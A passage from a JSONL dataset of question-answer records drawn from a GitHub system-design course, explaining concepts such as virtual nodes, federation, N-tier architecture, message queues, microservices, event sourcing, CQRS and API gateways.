"quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597882"}
{"id": "gh_3e7747a2a8e9", "question": "How to: Virtual Nodes", "question_body": "About karanpratapsingh/system-design", "answer": "In order to ensure a more evenly distributed load, we can introduce the idea of a virtual node, sometimes also referred to as a VNode.\n\nInstead of assigning a single position to a node, the hash range is divided into multiple smaller ranges, and each physical node is assigned several of these smaller ranges. Each of these subranges is considered a VNode. Hence, virtual nodes are basically existing physical nodes mapped multiple times across the hash ring to minimize changes to a node's assigned range.\n\n![virtual-nodes](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-II/consistent-hashing/virtual-nodes.png)\n\nFor this, we can use `k` number of hash functions.\n\n$$\n\\begin{align*}\n& Hash_1(key_1) = P_1 \\\\\n& Hash_2(key_2) = P_2 \\\\\n& Hash_3(key_3) = P_3 \\\\\n& . . . \\\\\n& Hash_k(key_n) = P_{m-1}\n\\end{align*}\n$$\n\nWhere,\n\n`key`: Request/Node ID or IP.\n\n`k`: Number of hash functions.\n\n`P`: Position on the hash ring.\n\n`m`: Total range of the hash ring.\n\nAs VNodes help spread the load more evenly across the physical nodes on the cluster by dividing the hash ranges into smaller subranges, this speeds up the re-balancing process after adding or removing nodes. This also helps us reduce the probability of hotspots.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597889"}
{"id": "gh_ea07b0833f18", "question": "How to: Data Replication", "question_body": "About karanpratapsingh/system-design", "answer": "To ensure high availability and durability, consistent hashing replicates each data item on multiple `N` nodes in the system where the value `N` is equivalent to the _replication factor_.\n\nThe replication factor is the number of nodes that will receive the copy of the same data. In eventually consistent systems, this is done asynchronously.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597894"}
{"id": "gh_e7af513989cc", "question": "How to: Database Federation", "question_body": "About karanpratapsingh/system-design", "answer": "Federation (or functional partitioning) splits up databases by function. The federation architecture makes several distinct physical databases appear as one logical database to end-users.\n\nAll of the components in a federation are tied together by one or more federal schemas that express the commonality of data throughout the federation. These federated schemas are used to specify the information that can be shared by the federation components and to provide a common basis for communication among them.\n\n![database-federation](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-II/database-federation/database-federation.png)\n\nFederation also provides a cohesive, unified view of data derived from multiple sources. The data sources for federated systems can include databases and various other forms of structured and unstructured data.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597909"}
{"id": "gh_2c5768c50104", "question": "How to: Characteristics", "question_body": "About karanpratapsingh/system-design", "answer": "Let's look at some key characteristics of a federated database:\n\n- **Transparency**: Federated database masks user differences and implementations of underlying data sources. Therefore, the users do not need to be aware of where the data is stored.\n- **Heterogeneity**: Data sources can differ in many ways. A federated database system can handle different hardware, network protocols, data models, etc.\n- **Extensibility**: New sources may be needed to meet the changing needs of the business. A good federated database system needs to make it easy to add new sources.\n- **Autonomy**: A Federated database does not change existing data sources, interfaces should remain the same.\n- **Data integration**: A federated database can integrate data from different protocols, database management systems, etc.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597914"}
{"id": "gh_80542bb60c47", "question": "How to: N-tier architecture", "question_body": "About karanpratapsingh/system-design", "answer": "N-tier architecture divides an application into logical layers and physical tiers. Layers are a way to separate responsibilities and manage dependencies. Each layer has a specific responsibility. A higher layer can use services in a lower layer, but not the other way around.\n\n![n-tier-architecture](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-III/n-tier-architecture/n-tier-architecture.png)\n\nTiers are physically separated, running on separate machines. A tier can call to another tier directly, or use asynchronous messaging. Although each layer might be hosted in its own tier, that's not required. Several layers might be hosted on the same tier. Physically separating the tiers improves scalability and resiliency and adds latency from the additional network communication.\n\nAn N-tier architecture can be of two types:\n\n- In a closed layer architecture, a layer can only call the next layer immediately down.\n- In an open layer architecture, a layer can call any of the layers below it.\n\nA closed-layer architecture limits the dependencies between layers. However, it might create unnecessary network traffic, if one layer simply passes requests along to the next layer.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597929"}
{"id": "gh_11957dec8b74", "question": "How to: Types of N-Tier architectures", "question_body": "About karanpratapsingh/system-design", "answer": "Let's look at some examples of N-Tier architecture:", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597933"}
{"id": "gh_aad1cdfac27c", "question": "How to: 3-Tier architecture", "question_body": "About karanpratapsingh/system-design", "answer": "3-Tier is widely used and consists of the following different layers:\n\n- **Presentation layer**: Handles user interactions with the application.\n- **Business Logic layer**: Accepts the data from the application layer, validates it as per business logic and passes it to the data layer.\n- **Data Access layer**: Receives the data from the business layer and performs the necessary operation on the database.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597938"}
{"id": "gh_24aa4aa70c89", "question": "How to: 2-Tier architecture", "question_body": "About karanpratapsingh/system-design", "answer": "In this architecture, the presentation layer runs on the client and communicates with a data store. There is no business logic layer or immediate layer between client and server.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597944"}
{"id": "gh_b18b61ee6a9d", "question": "How to: Single Tier or 1-Tier architecture", "question_body": "About karanpratapsingh/system-design", "answer": "It is the simplest one as it is equivalent to running the application on a personal computer. All of the required components for an application to run are on a single application or server.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597949"}
{"id": "gh_088fdc3bdda1", "question": "How to: Message Brokers", "question_body": "About karanpratapsingh/system-design", "answer": "A message broker is a software that enables applications, systems, and services to communicate with each other and exchange information. The message broker does this by translating messages between formal messaging protocols. This allows interdependent services to _\"talk\"_ with one another directly, even if they were written in different languages or implemented on different platforms.\n\n![message-broker](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-III/message-brokers/message-broker.png)\n\nMessage brokers can validate, store, route, and deliver messages to the appropriate destinations. They serve as intermediaries between other applications, allowing senders to issue messages without knowing where the receivers are, whether or not they are active, or how many of them there are. This facilitates the decoupling of processes and services within systems.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597963"}
{"id": "gh_01d5c59698c4", "question": "How to: Message brokers vs Event streaming", "question_body": "About karanpratapsingh/system-design", "answer": "Message brokers can support two or more messaging patterns, including message queues and pub/sub, while event streaming platforms only offer pub/sub-style distribution patterns. Designed for use with high volumes of messages, event streaming platforms are readily scalable. They're capable of ordering streams of records into categories called _topics_ and storing them for a predetermined amount of time. Unlike message brokers, however, event streaming platforms cannot guarantee message delivery or track which consumers have received the messages.\n\nEvent streaming platforms offer more scalability than message brokers but fewer features that ensure fault tolerance like message resending, as well as more limited message routing and queueing capabilities.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597969"}
{"id": "gh_d12e6a1bc2b7", "question": "How to: Message brokers vs Enterprise Service Bus (ESB)", "question_body": "About karanpratapsingh/system-design", "answer": "[Enterprise Service Bus (ESB)](https://karanpratapsingh.com/courses/system-design/enterprise-service-bus) infrastructure is complex and can be challenging to integrate and expensive to maintain. It's difficult to troubleshoot them when problems occur in production environments, they're not easy to scale, and updating is tedious.\n\nWhereas message brokers are a _\"lightweight\"_ alternative to ESBs that provide similar functionality, a mechanism for inter-service communication, at a lower cost. They're well-suited for use in the [microservices architectures](https://karanpratapsingh.com/courses/system-design/monoliths-microservices#microservices) that have become more prevalent as ESBs have fallen out of favor.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597975"}
{"id": "gh_e141d6bcc9f2", "question": "How to: Message Queues", "question_body": "About karanpratapsingh/system-design", "answer": "A message queue is a form of service-to-service communication that facilitates asynchronous communication. It asynchronously receives messages from producers and sends them to consumers.\n\nQueues are used to effectively manage requests in large-scale distributed systems. In small systems with minimal processing loads and small databases, writes can be predictably fast. However, in more complex and large systems writes can take an almost non-deterministic amount of time.\n\n![message-queue](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-III/message-queues/message-queue.png)", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597982"}
{"id": "gh_72c78c491cd8", "question": "How to: Push or Pull Delivery", "question_body": "About karanpratapsingh/system-design", "answer": "Most message queues provide both push and pull options for retrieving messages. Pull means continuously querying the queue for new messages. Push means that a consumer is notified when a message is available. We can also use long-polling to allow pulls to wait a specified amount of time for new messages to arrive.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597992"}
{"id": "gh_8da02d5e9389", "question": "How to: FIFO (First-In-First-Out) Queues", "question_body": "About karanpratapsingh/system-design", "answer": "In these queues, the oldest (or first) entry, sometimes called the _\"head\"_ of the queue, is processed first.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597997"}
{"id": "gh_a476f2fb1fa8", "question": "How to: Schedule or Delay Delivery", "question_body": "About karanpratapsingh/system-design", "answer": "Many message queues support setting a specific delivery time for a message. If we need to have a common delay for all messages, we can set up a delay queue.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598001"}
{"id": "gh_d4ed4e459e7b", "question": "How to: At-Least-Once Delivery", "question_body": "About karanpratapsingh/system-design", "answer": "Message queues may store multiple copies of messages for redundancy and high availability, and resend messages in the event of communication failures or errors to ensure they are delivered at least once.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598005"}
{"id": "gh_e0aabcbe1c30", "question": "How to: Exactly-Once Delivery", "question_body": "About karanpratapsingh/system-design", "answer": "When duplicates can't be tolerated, FIFO (first-in-first-out) message queues will make sure that each message is delivered exactly once (and only once) by filtering out duplicates automatically.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598010"}
{"id": "gh_9fca01405ca5", "question": "How to: Dead-letter Queues", "question_body": "About karanpratapsingh/system-design", "answer": "A dead-letter queue is a queue to which other queues can send messages that can't be processed successfully. This makes it easy to set them aside for further inspection without blocking the queue processing or spending CPU cycles on a message that might never be consumed successfully.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598014"}
{"id": "gh_168fbed48f92", "question": "How to: Poison-pill Messages", "question_body": "About karanpratapsingh/system-design", "answer": "Poison pills are special messages that can be received, but not processed. They are a mechanism used in order to signal a consumer to end its work so it is no longer waiting for new inputs, and are similar to closing a socket in a client/server model.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598019"}
{"id": "gh_9dcd89335c88", "question": "How to: Task Queues", "question_body": "About karanpratapsingh/system-design", "answer": "Tasks queues receive tasks and their related data, run them, then deliver their results. They can support scheduling and can be used to run computationally-intensive jobs in the background.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598023"}
{"id": "gh_d4a916f7d092", "question": "How to: Backpressure", "question_body": "About karanpratapsingh/system-design", "answer": "If queues start to grow significantly, the queue size can become larger than memory, resulting in cache misses, disk reads, and even slower performance. Backpressure can help by limiting the queue size, thereby maintaining a high throughput rate and good response times for jobs already in the queue. Once the queue fills up, clients get a server busy or HTTP 503 status code to try again later. Clients can retry the request at a later time, perhaps with [exponential backoff](https://en.wikipedia.org/wiki/Exponential_backoff) strategy.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598028"}
{"id": "gh_d63692c21da2", "question": "How to: Durability", "question_body": "About karanpratapsingh/system-design", "answer": "Pub/Sub messaging services often provide very high durability, and at least once delivery, by storing copies of the same message on multiple servers.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598056"}
{"id": "gh_b426080a49eb", "question": "How to: Enterprise Service Bus (ESB)", "question_body": "About karanpratapsingh/system-design", "answer": "An Enterprise Service Bus (ESB) is an architectural pattern whereby a centralized software component performs integrations between applications. It performs transformations of data models, handles connectivity, performs message routing, converts communication protocols, and potentially manages the composition of multiple requests. The ESB can make these integrations and transformations available as a service interface for reuse by new applications.\n\n![enterprise-service-bus](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-III/enterprise-service-bus/enterprise-service-bus.png)", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598061"}
{"id": "gh_3a77fa4f9693", "question": "How to: Modular Monoliths", "question_body": "About karanpratapsingh/system-design", "answer": "A Modular Monolith is an approach where we build and deploy a single application (that's the _Monolith_ part), but we build it in a way that breaks up the code into independent modules for each of the features needed in our application.\n\nThis approach reduces the dependencies of a module in such as way that we can enhance or change a module without affecting other modules. When done right, this can be really beneficial in the long term as it reduces the complexity that comes with maintaining a monolith as the system grows.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598089"}
{"id": "gh_53bd22535b51", "question": "How to: Microservices", "question_body": "About karanpratapsingh/system-design", "answer": "A microservices architecture consists of a collection of small, autonomous services where each service is self-contained and should implement a single business capability within a bounded context. A bounded context is a natural division of business logic that provides an explicit boundary within which a domain model exists.\n\n![microservices](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-III/monoliths-microservices/microservices.png)\n\nEach service has a separate codebase, which can be managed by a small development team. Services can be deployed independently and a team can update an existing service without rebuilding and redeploying the entire application.\n\nServices are responsible for persisting their own data or external state (database per service). This differs from the traditional model, where a separate data layer handles data persistence.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598095"}
{"id": "gh_22d6ddba9ad8", "question": "How to: Best practices", "question_body": "About karanpratapsingh/system-design", "answer": "Let's discuss some microservices best practices:\n\n- Model services around the business domain.\n- Services should have loose coupling and high functional cohesion.\n- Isolate failures and use resiliency strategies to prevent failures within a service from cascading.\n- Services should only communicate through well-designed APIs. Avoid leaking implementation details.\n- Data storage should be private to the service that owns the data\n- Avoid coupling between services. Causes of coupling include shared database schemas and rigid communication protocols.\n- Decentralize everything. Individual teams are responsible for designing and building services. Avoid sharing code or data schemas.\n- Fail fast by using a [circuit breaker](https://karanpratapsingh.com/courses/system-design/circuit-breaker) to achieve fault tolerance.\n- Ensure that the API changes are backward compatible.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598116"}
{"id": "gh_fa345f8c1e73", "question": "How to: Beware of the distributed monolith", "question_body": "About karanpratapsingh/system-design", "answer": "Distributed Monolith is a system that resembles the microservices architecture but is tightly coupled within itself like a monolithic application. Adopting microservices architecture comes with a lot of advantages. But while making one, there are good chances that we might end up with a distributed monolith.\n\nOur microservices are just a distributed monolith if any of these apply to it:\n\n- Requires low latency communication.\n- Services don't scale easily.\n- Dependency between services.\n- Sharing the same resources such as databases.\n- Tightly coupled systems.\n\nOne of the primary reasons to build an application using microservices architecture is to have scalability. Therefore, microservices should have loosely coupled services which enable every service to be independent. The distributed monolith architecture takes this away and causes most components to depend on one another, increasing design complexity.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598122"}
{"id": "gh_7ca1b56907d0", "question": "How to: Microservices vs Service-oriented architecture (SOA)", "question_body": "About karanpratapsingh/system-design", "answer": "You might have seen _Service-oriented architecture (SOA)_ mentioned around the internet, sometimes even interchangeably with microservices, but they are different from each other and the main distinction between the two approaches comes down to _scope_.\n\nService-oriented architecture (SOA) defines a way to make software components reusable via service interfaces. These interfaces utilize common communication standards and focus on maximizing application service reusability whereas microservices are built as a collection of various smallest independent service units focused on team autonomy and decoupling.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598127"}
{"id": "gh_683946cd92f2", "question": "How to: Why you don't need microservices", "question_body": "About karanpratapsingh/system-design", "answer": "![architecture-range](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-III/monoliths-microservices/architecture-range.png)\n\nSo, you might be wondering, monoliths seem like a bad idea to begin with, why would anyone use that?\n\nWell, it depends. While each approach has its own advantages and disadvantages, it is advised to start with a monolith when building a new system. It is important to understand, that microservices are not a silver bullet, instead, they solve an organizational problem. Microservices architecture is about your organizational priorities and team as much as it's about technology.\n\nBefore making the decision to move to microservices architecture, you need to ask yourself questions like:\n\n- _\"Is the team too large to work effectively on a shared codebase?\"_\n- _\"Are teams blocked on other teams?\"_\n- _\"Does microservices deliver clear business value for us?\"_\n- _\"Is my business mature enough to use microservices?\"_\n- _\"Is our current architecture limiting us with communication overhead?\"_\n\nIf your application does not require to be broken down into microservices, you don't need this. There is no absolute necessity that all applications should be broken down into microservices.\n\nWe frequently draw inspiration from companies such as Netflix and their use of microservices, but we overlook the fact that we are not Netflix. They went through a lot of iterations and models before they had a market-ready solution, and this architecture became acceptable for them when they identified and solved the problem they were trying to tackle.\n\nThat's why it's essential to understand in-depth if your business _actually_ needs microservices. What I'm trying to say is microservices are solutions to complex concerns and if your business doesn't have complex issues, you don't need them.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598135"}
{"id": "gh_636fc3f09ee2", "question": "How to: Event-Driven Architecture (EDA)", "question_body": "About karanpratapsingh/system-design", "answer": "Event-Driven Architecture (EDA) is about using events as a way to communicate within a system. Generally, leveraging a message broker to publish and consume events asynchronously. The publisher is unaware of who is consuming an event and the consumers are unaware of each other. Event-Driven Architecture is simply a way of achieving loose coupling between services within a system.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598140"}
{"id": "gh_1f84a93fd372", "question": "How to: What is an event?", "question_body": "About karanpratapsingh/system-design", "answer": "An event is a data point that represents state changes in a system. It doesn't specify what should happen and how the change should modify the system, it only notifies the system of a particular state change. When a user makes an action, they trigger an event.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598144"}
{"id": "gh_e46a77dfebdb", "question": "How to: Event Sourcing", "question_body": "About karanpratapsingh/system-design", "answer": "Instead of storing just the current state of the data in a domain, use an append-only store to record the full series of actions taken on that data. The store acts as the system of record and can be used to materialize the domain objects.\n\n![event-sourcing](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-III/event-sourcing/event-sourcing.png)\n\nThis can simplify tasks in complex domains, by avoiding the need to synchronize the data model and the business domain, while improving performance, scalability, and responsiveness. It can also provide consistency for transactional data, and maintain full audit trails and history that can enable compensating actions.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598167"}
{"id": "gh_c0b1747ff913", "question": "How to: Event sourcing vs Event-Driven Architecture (EDA)", "question_body": "About karanpratapsingh/system-design", "answer": "Event sourcing is seemingly constantly being confused with [Event-driven Architecture (EDA)](https://karanpratapsingh.com/courses/system-design/event-driven-architecture). Event-driven architecture is about using events to communicate between service boundaries. Generally, leveraging a message broker to publish and consume events asynchronously within other boundaries.\n\nWhereas, event sourcing is about using events as a state, which is a different approach to storing data. Rather than storing the current state, we're instead going to be storing events. Also, event sourcing is one of the several patterns to implement an event-driven architecture.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598172"}
{"id": "gh_2f4b7032a681", "question": "How to: Command and Query Responsibility Segregation (CQRS)", "question_body": "About karanpratapsingh/system-design", "answer": "Command Query Responsibility Segregation (CQRS) is an architectural pattern that divides a system's actions into commands and queries. It was first described by [Greg Young](https://twitter.com/gregyoung).\n\nIn CQRS, a _command_ is an instruction, a directive to perform a specific task. It is an intention to change something and doesn't return a value, only an indication of success or failure. And, a _query_ is a request for information that doesn't change the system's state or cause any side effects.\n\n![command-and-query-responsibility-segregation](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-III/command-and-query-responsibility-segregation/command-and-query-responsibility-segregation.png)\n\nThe core principle of CQRS is the separation of commands and queries. They perform fundamentally different roles within a system, and separating them means that each can be optimized as needed, which distributed systems can really benefit from.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598191"}
{"id": "gh_389defe8e18c", "question": "How to: CQRS with Event Sourcing", "question_body": "About karanpratapsingh/system-design", "answer": "The CQRS pattern is often used along with the Event Sourcing pattern. CQRS-based systems use separate read and write data models, each tailored to relevant tasks and often located in physically separate stores.\n\nWhen used with the Event Sourcing pattern, the store of events is the write model and is the official source of information. The read model of a CQRS-based system provides materialized views of the data, typically as highly denormalized views.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598195"}
{"id": "gh_4f414324ebe8", "question": "How to: API Gateway", "question_body": "About karanpratapsingh/system-design", "answer": "The API Gateway is an API management tool that sits between a client and a collection of backend services. It is a single entry point into a system that encapsulates the internal system architecture and provides an API that is tailored to each client. It also has other responsibilities such as authentication, monitoring, load balancing, caching, throttling, logging, etc.\n\n![api-gateway](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-III/api-gateway/api-gateway.png)", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598210"}
{"id": "gh_0ea5cacab660", "question": "How to: Why do we need an API Gateway?", "question_body": "About karanpratapsingh/system-design", "answer": "The granularity of APIs provided by microservices is often different than what a client needs. Microservices typically provide fine-grained APIs, which means that clients need to interact with multiple services. Hence, an API gateway can provide a single entry point for all clients with some additional features and better management.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598214"}
{"id": "gh_f3c6a606dddd", "question": "How to: Backend For Frontend (BFF) pattern", "question_body": "About karanpratapsingh/system-design", "answer": "In the Backend For Frontend (BFF) pattern, we create separate backend services to be consumed by specific frontend applications or interfaces. This pattern is useful when we want to avoid customizing a single backend for multiple interfaces. This pattern was first described by [Sam Newman](https://samnewman.io).\n\nAlso, sometimes the output of data returned by the microservices to the front end is not in the exact format or filtered as needed by the front end. To solve this issue, the frontend should have some logic to reformat the data, and therefore, we can use BFF to shift some of this logic to the intermediate layer.\n\n![backend-for-frontend](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-III/api-gateway/backend-for-frontend.png)\n\nThe primary function of the backend for the frontend pattern is to get the required data from the appropriate service, format the data, and sent it to the frontend.\n\n_[GraphQL](https://karanpratapsingh.com/courses/system-design/rest-graphql-grpc#graphql) performs really well as a backend for frontend (BFF)._", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598230"}
